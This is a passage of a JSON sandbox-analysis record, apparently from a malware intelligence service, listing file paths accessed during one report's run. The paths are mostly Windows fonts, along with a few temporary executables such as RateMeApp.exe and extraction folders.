.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\verdanab.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\verdanaz.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\webdings.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\coure.fon","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\serife.fon","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\sserife.fon","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\smalle.fon","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\smallf.fon","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\HATTEN.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ANTQUAB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ANTQUABI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ANTQUAI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BKANT.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GOTHIC.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GOTHICB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GOTHICBI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GOTHICI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ARIALN.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ARIALNB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ARIALNBI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ARIALNI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GARA.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GARABD.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GARAIT.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\MTCORSVA.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\AGENCYB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\AGENCYR.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ARLRDBD.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ITCBLKAD.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOD_B.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOD_BI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOD_I.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOD_R.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOD_BLAI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOD_BLAR.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOD_CB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOD_CBI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOD_CI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOD_CR.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOOKOS.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOOKOSB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOOKOSBI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOOKOSI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BRADHITC.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\CALIST.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\CALISTB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\CALISTBI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\CALISTI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\CASTELAR.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\CENSCBK.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\SCHLBKB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\SCHLBKBI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\SCHLBKI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\COPRGTB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\COPRGTL.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\CURLZ___.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ITCEDSCR.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ELEPHNT.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ELEPHNTI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ENGR.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ERASBD.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ERASDEMI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ERASLGHT.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ERASMD.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\FELIXTI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\FORTE.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\FRABK.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\FRABKIT.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\FRADM.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\FRADMIT.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\FRADMCN.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\FRAHV.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\FRAHVIT.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\FRAMDCN.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\FRSCRIPT.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GIGI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GILBI___.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GILB____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GILI____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GIL_____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GILC____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GILSANUB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GILLUBCD.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GLSNECB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GLECB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GOUDOS.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GOUDOSB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GOUDOSI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\GOUDYSTO.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\IMPRISHA.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LSANS.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LSANSD.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LSANSDI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LSANSI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LTYPE.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LTYPEB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LTYPEBO.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LTYPEO.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\MAIAN.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\OCRAEXT.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\PALSCRI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\PAPYRUS.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\PERBI___.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\PERB____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\PERI____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\PER_____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\PERTIBD.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\PERTILI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\PRISTINA.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\RAGE.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ROCK.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ROCKB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ROCKBI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ROCKI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ROCCB___.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ROCC____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ROCKEB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\SCRIPTBL.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\TCBI____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\TCB_____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\TCCM____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\TCCB____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\TCCEB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\TCMI____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\TCM_____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ALGER.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BASKVILL.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BAUHS93.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BELL.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BELLB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BELLI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BRLNSB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BRLNSDB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BRLNSR.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BERNHC.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BOD_PSTC.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BRITANIC.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BROADW.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BRUSHSCI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\CALIFB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\CALIFI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\CALIFR.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\CENTAUR.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\CHILLER.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\COLONNA.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\COOPBL.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\FTLTLT.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\FREESCPT.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\HARLOWSI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\HARNGTON.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\HTOWERT.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\HTOWERTI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\JOKERMAN.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\JUICE___.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ITCKRIST.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\KUNSTLER.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LBRITE.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LBRITED.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LBRITEDI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LBRITEI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LCALLIG.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LFAX.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LFAXD.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LFAXDI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LFAXI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LHANDW.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\MAGNETOB.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\MATURASC.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\MISTRAL.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\MOD20.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\NIAGENG.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\NIAGSOL.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\OLDENGL.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ONYX.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\PARCHM.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\PLAYBILL.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\POORICH.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\RAVIE.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\INFROMAN.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\SHOWG.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\SNAP____.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\STENCIL.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\TEMPSITC.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\VINERITC.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\VIVALDII.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\VLADIMIR.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\LATINWD.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\CENTURY.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\WINGDNG2.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\WINGDNG3.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ARIALUNI.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\MSMINCHO.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%COMMONPROGRAMFILES%\\microsoft shared\\EQUATION\\MTEXTRA.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\OUTLOOK.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\BSSYM7.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\REFSAN.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\REFSPCL.TTF","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%LOCALAPPDATA%\\GDIPFONTCACHEV1.DAT","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\RateMeApp.exe","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\IXP000.TMP","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\IXP000.TMP\\TMP4351$.TMP","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"C:\\3BDECB~1.EXE","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"C:\\MSOCache\\ALLUSE~1\\{92FE0~1\\ose.exe","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"C:\\MSOCache\\ALLUSE~1\\{92FE0~1\\setup.exe","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"C:\\MSOCache\\ALLUSE~1\\{90140~1\\DW20.EXE","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"C:\\MSOCache\\ALLUSE~1\\{90140~1\\dwtrig20.exe","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\IXP000.TMP\\en-US\\certutil.exe.mui","sources":[{"report_type":"sand